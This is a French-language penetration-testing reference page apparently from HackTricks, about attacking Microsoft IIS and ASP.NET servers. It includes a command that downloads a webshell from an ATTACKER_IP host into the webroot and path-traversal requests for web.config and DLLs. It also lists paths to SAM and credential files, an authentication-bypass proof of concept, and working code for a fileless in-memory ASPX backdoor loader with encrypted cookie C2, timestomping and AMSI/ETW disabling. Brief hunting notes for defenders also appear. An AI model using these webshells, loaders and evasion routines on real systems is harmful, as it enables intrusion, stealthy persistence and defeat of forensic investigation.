IIS - Internet Information Services

Tip

Apprenez et pratiquez le hacking AWS :HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez le hacking GCP : HackTricks Training GCP Red Team Expert (GRTE) Apprenez et pratiquez le hacking Azure : HackTricks Training Azure Red Team Expert (AzRTE)

Soutenir HackTricks

Extensions de fichiers exécutables à tester :

  • asp
  • aspx
  • config
  • php

Webroot inscriptible → ASPX command shell

Si un utilisateur/groupe peu privilégié dispose d’un accès en écriture à C:\inetpub\wwwroot, vous pouvez déposer un ASPX webshell et exécuter des commandes OS en tant qu’identité de l’application pool (souvent détentrice de SeImpersonatePrivilege).

  • Vérifier les ACLs : icacls C:\inetpub\wwwroot ou cacls . en cherchant (F) sur votre utilisateur/groupe.
  • Téléversez un command webshell (par ex., fuzzdb/tennc cmd.aspx) en utilisant PowerShell :
iwr http://ATTACKER_IP/shell.aspx -OutFile C:\inetpub\wwwroot\shell.aspx
  • Faites une requête vers /shell.aspx et exécutez des commandes ; l’identité affiche généralement iis apppool\defaultapppool.
  • Combinez avec Potato-family LPE (e.g., GodPotato/SigmaPotato) lorsque le token AppPool a SeImpersonatePrivilege pour pivoter vers SYSTEM.

Divulgation d’adresse IP interne

Sur tout serveur IIS où vous obtenez un 302, vous pouvez essayer de supprimer le Host header et d’utiliser HTTP/1.0 ; dans la réponse le Location header pourrait pointer vers l’adresse IP interne :

nc -v domain.com 80
openssl s_client -connect domain.com:443

Réponse divulguant l’adresse IP interne :

GET / HTTP/1.0

HTTP/1.1 302 Moved Temporarily
Cache-Control: no-cache
Pragma: no-cache
Location: https://192.168.5.237/owa/
Server: Microsoft-IIS/10.0
X-FEServer: NHEXCHANGE2016

Exécuter des fichiers .config

Vous pouvez uploader des fichiers .config et les utiliser pour exécuter du code. Une façon de le faire est d’ajouter le code à la fin du fichier à l’intérieur d’un commentaire HTML : Télécharger l’exemple ici

Plus d’informations et de techniques pour exploiter cette vulnérabilité ici

Bruteforce de découverte IIS

Download the list that I have created:

It was created merging the contents of the following lists:

https://raw.githubusercontent.com/danielmiessler/SecLists/master/Discovery/Web-Content/IIS.fuzz.txt
http://itdrafts.blogspot.com/2013/02/aspnetclient-folder-enumeration-and.html
https://github.com/digination/dirbuster-ng/blob/master/wordlists/vulns/iis.txt
https://raw.githubusercontent.com/danielmiessler/SecLists/master/Discovery/Web-Content/SVNDigger/cat/Language/aspx.txt
https://raw.githubusercontent.com/danielmiessler/SecLists/master/Discovery/Web-Content/SVNDigger/cat/Language/asp.txt
https://raw.githubusercontent.com/xmendez/wfuzz/master/wordlist/vulns/iis.txt

Utilisez-la sans ajouter d’extension, les fichiers qui en ont besoin l’ont déjà.

Path Traversal

Leaking source code

Check the full writeup in: https://blog.mindedsecurity.com/2018/10/from-path-traversal-to-source-code-in.html

Tip

En résumé, il existe plusieurs fichiers web.config dans les dossiers de l’application avec des références aux fichiers “assemblyIdentity” et aux “namespaces”. Avec ces informations, il est possible de savoir où sont situés les exécutables et de les télécharger.
À partir des Dlls téléchargées il est aussi possible de trouver de nouveaux namespaces où vous devriez essayer d’accéder et d’obtenir le fichier web.config afin de trouver de nouveaux namespaces et assemblyIdentity.
De plus, les fichiers connectionstrings.config et global.asax peuvent contenir des informations intéressantes.

Dans .Net MVC applications, le fichier web.config joue un rôle crucial en spécifiant chaque fichier binaire dont l’application dépend via les balises XML “assemblyIdentity”.

Exploration des fichiers binaires

Un exemple d’accès au fichier web.config est montré ci-dessous:

GET /download_page?id=..%2f..%2fweb.config HTTP/1.1
Host: example-mvc-application.minded

Cette requête révèle divers paramètres et dépendances, tels que :

  • EntityFramework version
  • AppSettings pour les pages web, la validation côté client et JavaScript
  • System.web : configurations pour l’authentification et le runtime
  • System.webServer : paramètres des modules
  • Runtime assembly bindings pour de nombreuses bibliothèques comme Microsoft.Owin, Newtonsoft.Json, et System.Web.Mvc

Ces paramètres indiquent que certains fichiers, tels que /bin/WebGrease.dll, se trouvent dans le dossier /bin de l’application.

Fichiers du répertoire racine

Les fichiers trouvés dans le répertoire racine, comme /global.asax et /connectionstrings.config (qui contient des mots de passe sensibles), sont essentiels à la configuration et au fonctionnement de l’application.

Espaces de noms et web.config

Les applications MVC définissent également des web.config files supplémentaires pour des espaces de noms spécifiques afin d’éviter des déclarations répétitives dans chaque fichier, comme démontré par une requête pour télécharger un autre web.config:

GET /download_page?id=..%2f..%2fViews/web.config HTTP/1.1
Host: example-mvc-application.minded

Téléchargement de DLLs

La mention d’un namespace personnalisé suggère une DLL nommée “WebApplication1” présente dans le répertoire /bin. Ensuite, une requête pour télécharger le fichier WebApplication1.dll est affichée :

GET /download_page?id=..%2f..%2fbin/WebApplication1.dll HTTP/1.1
Host: example-mvc-application.minded

Cela suggère la présence d’autres DLL essentielles, comme System.Web.Mvc.dll et System.Web.Optimization.dll, dans le répertoire /bin.

Dans un scénario où une DLL importe un namespace appelé WebApplication1.Areas.Minded, un attacker pourrait inférer l’existence d’autres fichiers web.config dans des chemins prévisibles, tels que /area-name/Views/, contenant des configurations spécifiques et des références à d’autres DLL dans le dossier /bin. Par exemple, une requête vers /Minded/Views/web.config peut révéler des configurations et des namespaces qui indiquent la présence d’une autre DLL, WebApplication1.AdditionalFeatures.dll.

Fichiers courants

Extrait de here

C:\Apache\conf\httpd.conf
C:\Apache\logs\access.log
C:\Apache\logs\error.log
C:\Apache2\conf\httpd.conf
C:\Apache2\logs\access.log
C:\Apache2\logs\error.log
C:\Apache22\conf\httpd.conf
C:\Apache22\logs\access.log
C:\Apache22\logs\error.log
C:\Apache24\conf\httpd.conf
C:\Apache24\logs\access.log
C:\Apache24\logs\error.log
C:\Documents and Settings\Administrator\NTUser.dat
C:\php\php.ini
C:\php4\php.ini
C:\php5\php.ini
C:\php7\php.ini
C:\Program Files (x86)\Apache Group\Apache\conf\httpd.conf
C:\Program Files (x86)\Apache Group\Apache\logs\access.log
C:\Program Files (x86)\Apache Group\Apache\logs\error.log
C:\Program Files (x86)\Apache Group\Apache2\conf\httpd.conf
C:\Program Files (x86)\Apache Group\Apache2\logs\access.log
C:\Program Files (x86)\Apache Group\Apache2\logs\error.log
c:\Program Files (x86)\php\php.ini"
C:\Program Files\Apache Group\Apache\conf\httpd.conf
C:\Program Files\Apache Group\Apache\conf\logs\access.log
C:\Program Files\Apache Group\Apache\conf\logs\error.log
C:\Program Files\Apache Group\Apache2\conf\httpd.conf
C:\Program Files\Apache Group\Apache2\conf\logs\access.log
C:\Program Files\Apache Group\Apache2\conf\logs\error.log
C:\Program Files\FileZilla Server\FileZilla Server.xml
C:\Program Files\MySQL\my.cnf
C:\Program Files\MySQL\my.ini
C:\Program Files\MySQL\MySQL Server 5.0\my.cnf
C:\Program Files\MySQL\MySQL Server 5.0\my.ini
C:\Program Files\MySQL\MySQL Server 5.1\my.cnf
C:\Program Files\MySQL\MySQL Server 5.1\my.ini
C:\Program Files\MySQL\MySQL Server 5.5\my.cnf
C:\Program Files\MySQL\MySQL Server 5.5\my.ini
C:\Program Files\MySQL\MySQL Server 5.6\my.cnf
C:\Program Files\MySQL\MySQL Server 5.6\my.ini
C:\Program Files\MySQL\MySQL Server 5.7\my.cnf
C:\Program Files\MySQL\MySQL Server 5.7\my.ini
C:\Program Files\php\php.ini
C:\Users\Administrator\NTUser.dat
C:\Windows\debug\NetSetup.LOG
C:\Windows\Panther\Unattend\Unattended.xml
C:\Windows\Panther\Unattended.xml
C:\Windows\php.ini
C:\Windows\repair\SAM
C:\Windows\repair\system
C:\Windows\System32\config\AppEvent.evt
C:\Windows\System32\config\RegBack\SAM
C:\Windows\System32\config\RegBack\system
C:\Windows\System32\config\SAM
C:\Windows\System32\config\SecEvent.evt
C:\Windows\System32\config\SysEvent.evt
C:\Windows\System32\config\SYSTEM
C:\Windows\System32\drivers\etc\hosts
C:\Windows\System32\winevt\Logs\Application.evtx
C:\Windows\System32\winevt\Logs\Security.evtx
C:\Windows\System32\winevt\Logs\System.evtx
C:\Windows\win.ini
C:\xampp\apache\conf\extra\httpd-xampp.conf
C:\xampp\apache\conf\httpd.conf
C:\xampp\apache\logs\access.log
C:\xampp\apache\logs\error.log
C:\xampp\FileZillaFTP\FileZilla Server.xml
C:\xampp\MercuryMail\MERCURY.INI
C:\xampp\mysql\bin\my.ini
C:\xampp\php\php.ini
C:\xampp\security\webdav.htpasswd
C:\xampp\sendmail\sendmail.ini
C:\xampp\tomcat\conf\server.xml

HTTPAPI 2.0 Erreur 404

Si vous voyez une erreur comme la suivante :

Cela signifie que le serveur n’a pas reçu le nom de domaine correct dans l’en-tête Host.
Pour accéder à la page web, examinez le SSL Certificate présenté ; vous pourriez y trouver le nom de domaine/sous-domaine. S’il n’y est pas, vous devrez peut-être brute force VHosts jusqu’à trouver le bon.

Déchiffrer la configuration chiffrée et les key rings ASP.NET Core Data Protection

Deux méthodes courantes pour protéger des secrets sur des applications .NET hébergées par IIS sont :

  • ASP.NET Protected Configuration (RsaProtectedConfigurationProvider) pour les sections web.config comme .
  • ASP.NET Core Data Protection key ring (persisted locally) utilisé pour protéger les secrets de l’application et les cookies.

Si vous avez un accès au système de fichiers ou un accès interactif sur le serveur web, des clés co-localisées permettent souvent le déchiffrement.

  • ASP.NET (Full Framework) – déchiffrer les sections de configuration protégées avec aspnet_regiis:
# Decrypt a section by app path (site configured in IIS)
%WINDIR%\Microsoft.NET\Framework64\v4.0.30319\aspnet_regiis.exe -pd "connectionStrings" -app "/MyApplication"

# Or specify the physical path (-pef/-pdf write/read to a config file under a dir)
%WINDIR%\Microsoft.NET\Framework64\v4.0.30319\aspnet_regiis.exe -pdf "connectionStrings" "C:\inetpub\wwwroot\MyApplication"
  • ASP.NET Core – rechercher les Data Protection key rings stockés localement (fichiers XML/JSON) sous des emplacements tels que :
  • %PROGRAMDATA%\Microsoft\ASP.NET\DataProtection-Keys
  • HKLM\SOFTWARE\Microsoft\ASP.NET\Core\DataProtection-Keys (registry)
  • App-managed folder (e.g., App_Data\keys or a Keys directory next to the app)

Avec le key ring disponible, un opérateur s’exécutant sous l’identité de l’application peut instancier un IDataProtector avec les mêmes purposes et unprotect les secrets stockés. Les mauvaises configurations qui conservent le key ring avec les fichiers de l’application rendent le déchiffrement hors-ligne trivial une fois l’hôte compromis.

IIS fileless backdoors and in-memory .NET loaders (NET-STAR style)

Le toolkit Phantom Taurus/NET-STAR illustre un schéma mature pour la persistance IIS sans fichiers et la post‑exploitation entièrement dans w3wp.exe. Les idées principales sont largement réutilisables pour du tradecraft personnalisé et pour la détection/chasse.

Key building blocks

  • ASPX bootstrapper hosting an embedded payload: une unique page .aspx (p.ex. OutlookEN.aspx) contient une DLL .NET encodée en Base64 et éventuellement compressée avec Gzip. Lors d’une requête déclencheuse elle la décode, la décompresse, la charge par réflexion dans l’AppDomain courant et invoque le point d’entrée principal (p.ex. ServerRun.Run()).
  • Cookie‑scoped, encrypted C2 with multi‑stage packing: tâches/résultats sont emballés avec Gzip → AES‑ECB/PKCS7 → Base64 et transférés via des requêtes apparemment légitimes fortement chargées en cookies ; les opérateurs utilisaient des délimiteurs stables (p.ex. “STAR”) pour le découpage.
  • Reflective .NET execution: accepter des assemblies managés arbitraires en Base64, les charger via Assembly.Load(byte[]) et fournir des operator args pour des changements rapides de module sans écrire sur disque.
  • Operating in precompiled ASP.NET sites: ajouter/gérer des shells/backdoors auxiliaires même lorsque le site est précompilé (p.ex. le dropper ajoute des pages/handlers dynamiques ou exploite des config handlers) – exposé par des commandes telles que bypassPrecompiledApp, addshell, listshell, removeshell.
  • Timestomping/metadata forgery: exposer une action changeLastModified et timestomp lors du déploiement (y compris des horodatages de compilation futurs) pour gêner les enquêtes DFIR.
  • Optional AMSI/ETW pre‑disable for loaders: un loader de seconde étape peut désactiver AMSI et ETW avant d’appeler Assembly.Load pour réduire l’inspection des payloads en mémoire.

Minimal ASPX loader pattern

<%@ Page Language="C#" %>
<%@ Import Namespace="System" %>
<%@ Import Namespace="System.IO" %>
<%@ Import Namespace="System.IO.Compression" %>
<%@ Import Namespace="System.Reflection" %>
<script runat="server">
protected void Page_Load(object sender, EventArgs e){
// 1) Obtain payload bytes (hard‑coded blob or from request)
string b64 = /* hardcoded or Request["d"] */;
byte[] blob = Convert.FromBase64String(b64);
// optional: decrypt here if AES is used
using(var gz = new GZipStream(new MemoryStream(blob), CompressionMode.Decompress)){
using(var ms = new MemoryStream()){
gz.CopyTo(ms);
var asm = Assembly.Load(ms.ToArray());
// 2) Invoke the managed entry point (e.g., ServerRun.Run)
var t = asm.GetType("ServerRun");
var m = t.GetMethod("Run", BindingFlags.Public|BindingFlags.NonPublic|BindingFlags.Static|BindingFlags.Instance);
object inst = m.IsStatic ? null : Activator.CreateInstance(t);
m.Invoke(inst, new object[]{ HttpContext.Current });
}
}
}
</script>

Outils de packing/crypto (Gzip + AES‑ECB + Base64)

using System.Security.Cryptography;

static byte[] AesEcb(byte[] data, byte[] key, bool encrypt){
using(var aes = Aes.Create()){
aes.Mode = CipherMode.ECB; aes.Padding = PaddingMode.PKCS7; aes.Key = key;
ICryptoTransform t = encrypt ? aes.CreateEncryptor() : aes.CreateDecryptor();
return t.TransformFinalBlock(data, 0, data.Length);
}
}

static string Pack(object obj, byte[] key){
// serialize → gzip → AES‑ECB → Base64
byte[] raw = Serialize(obj);                    // your TLV/JSON/msgpack
using var ms = new MemoryStream();
using(var gz = new GZipStream(ms, CompressionLevel.Optimal, true)) gz.Write(raw, 0, raw.Length);
byte[] enc = AesEcb(ms.ToArray(), key, true);
return Convert.ToBase64String(enc);
}

static T Unpack<T>(string b64, byte[] key){
byte[] enc = Convert.FromBase64String(b64);
byte[] cmp = AesEcb(enc, key, false);
using var gz = new GZipStream(new MemoryStream(cmp), CompressionMode.Decompress);
using var outMs = new MemoryStream(); gz.CopyTo(outMs);
return Deserialize<T>(outMs.ToArray());
}

Cookie/session flow and command surface

  • L’initialisation de la session et l’ordonnancement des tâches sont effectués via des cookies afin de se fondre dans l’activité web normale.
  • Les commandes observées sur le terrain comprenaient : fileExist, listDir, createDir, renameDir, fileRead, deleteFile, createFile, changeLastModified; addshell, bypassPrecompiledApp, listShell, removeShell; executeSQLQuery, ExecuteNonQuery; ainsi que les primitives d’exécution dynamique code_self, code_pid, run_code pour l’exécution in-memory .NET.

Utilitaire de timestomping

File.SetCreationTime(path, ts);
File.SetLastWriteTime(path, ts);
File.SetLastAccessTime(path, ts);

Désactivation inline d’AMSI/ETW avant Assembly.Load (variante loader)

// Patch amsi!AmsiScanBuffer to return E_INVALIDARG
// and ntdll!EtwEventWrite to a stub; then load operator assembly
DisableAmsi();
DisableEtw();
Assembly.Load(payloadBytes).EntryPoint.Invoke(null, new object[]{ new string[]{ /* args */ } });

Voir les techniques de contournement AMSI/ETW dans : windows-hardening/av-bypass.md

Hunting notes (defenders)

  • Page ASPX isolée et étrange avec de très longs blobs Base64/Gzip ; requêtes POST avec beaucoup de cookies.
  • Modules managés non pris en charge à l’intérieur de w3wp.exe ; chaînes comme Encrypt/Decrypt (ECB), Compress/Decompress, GetContext, Run.
  • Délimiteurs répétés comme “STAR” dans le trafic ; horodatages non concordants voire futurs sur les ASPX/assemblies.

Telerik UI WebResource.axd unsafe reflection (CVE-2025-3600)

De nombreuses applications ASP.NET intègrent Telerik UI for ASP.NET AJAX et exposent le handler non authentifié Telerik.Web.UI.WebResource.axd. Lorsque le endpoint de cache de l’Image Editor est accessible (type=iec), les paramètres dkey=1 et prtype activent une unsafe reflection qui exécute tout constructeur public sans paramètres avant authentification. Cela fournit une primitive DoS universelle et peut escalader en RCE pré-auth sur des applications ayant des handlers AppDomain.AssemblyResolve non sécurisés.

See detailed techniques and PoCs here:

Telerik Ui Aspnet Ajax Unsafe Reflection Webresource Axd

Old IIS vulnerabilities worth looking for

Microsoft IIS tilde character “~” Vulnerability/Feature – Short File/Folder Name Disclosure

You can try to enumerate folders and files inside every discovered folder (even if it’s requiring Basic Authentication) using this technique.
The main limitation of this technique if the server is vulnerable is that it can only find up to the first 6 letters of the name of each file/folder and the first 3 letters of the extension of the files.

Vous pouvez utiliser https://github.com/irsdl/IIS-ShortName-Scanner pour tester cette vulnérabilité : java -jar iis_shortname_scanner.jar 2 20 http://10.13.38.11/dev/dca66d38fd916317687e1390a420c3fc/db/

Original research: https://soroush.secproject.com/downloadable/microsoft_iis_tilde_character_vulnerability_feature.pdf

Vous pouvez aussi utiliser metasploit : use scanner/http/iis_shortname_scanner

Une bonne idée pour trouver le nom final des fichiers découverts est de demander à des LLMs des options, comme cela est fait dans le script https://github.com/Invicti-Security/brainstorm/blob/main/fuzzer_shortname.py

Basic Authentication bypass

Contourner une Basic Authentication (IIS 7.5) en essayant d’accéder à : /admin:$i30:$INDEX_ALLOCATION/admin.php ou /admin::$INDEX_ALLOCATION/admin.php

Vous pouvez essayer de mélanger cette vulnérabilité et la précédente pour trouver de nouveaux dossiers et contourner l’authentification.

ASP.NET Trace.AXD enabled debugging

ASP.NET inclut un mode de debug et son fichier s’appelle trace.axd.

Il conserve un journal très détaillé de toutes les requêtes faites à une application sur une période de temps.

Ces informations incluent les IPs des clients distants, les session IDs, tous les cookies de requête et de réponse, les chemins physiques, des informations de code source, et potentiellement même des noms d’utilisateur et des mots de passe.

https://www.rapid7.com/db/vulnerabilities/spider-asp-dot-net-trace-axd/

Screenshot 2021-03-30 at 13 19 11

ASPXAUTH utilise les informations suivantes :

  • validationKey (string) : clé encodée en hexadécimal utilisée pour la validation de la signature.
  • decryptionMethod (string) : (par défaut “AES”).
  • decryptionIV (string) : vecteur d’initialisation encodé en hexadécimal (par défaut un vecteur de zéros).
  • decryptionKey (string) : clé encodée en hexadécimal utilisée pour la décryption.

Cependant, certaines personnes utiliseront les valeurs par défaut de ces paramètres et utiliseront comme cookie l’email de l’utilisateur. Ainsi, si vous trouvez un autre site utilisant la même plateforme qui utilise le cookie ASPXAUTH et que vous créez sur ce second site un utilisateur avec l’email de la victime du serveur ciblé, vous pourrez peut-être utiliser le cookie du second site sur le premier et usurper l’utilisateur.
Cette attaque a fonctionné dans ce writeup.

IIS Authentication Bypass with cached passwords (CVE-2022-30209)

Full report here : Un bug dans le code ne vérifiait pas correctement le mot de passe fourni par l’utilisateur, donc un attaquant dont le hash du mot de passe correspond à une clé déjà présente dans le cache pourra se connecter en tant que cet utilisateur.

# script for sanity check
> type test.py
def HashString(password):
j = 0
for c in map(ord, password):
j = c + (101*j)&0xffffffff
return j

assert HashString('test-for-CVE-2022-30209-auth-bypass') == HashString('ZeeiJT')

# before the successful login
> curl -I -su 'orange:ZeeiJT' 'http://<iis>/protected/' | findstr HTTP
HTTP/1.1 401 Unauthorized

# after the successful login
> curl -I -su 'orange:ZeeiJT' 'http://<iis>/protected/' | findstr HTTP
HTTP/1.1 200 OK

Références

Tip

Apprenez et pratiquez le hacking AWS :HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez le hacking GCP : HackTricks Training GCP Red Team Expert (GRTE) Apprenez et pratiquez le hacking Azure : HackTricks Training Azure Red Team Expert (AzRTE)

Soutenir HackTricks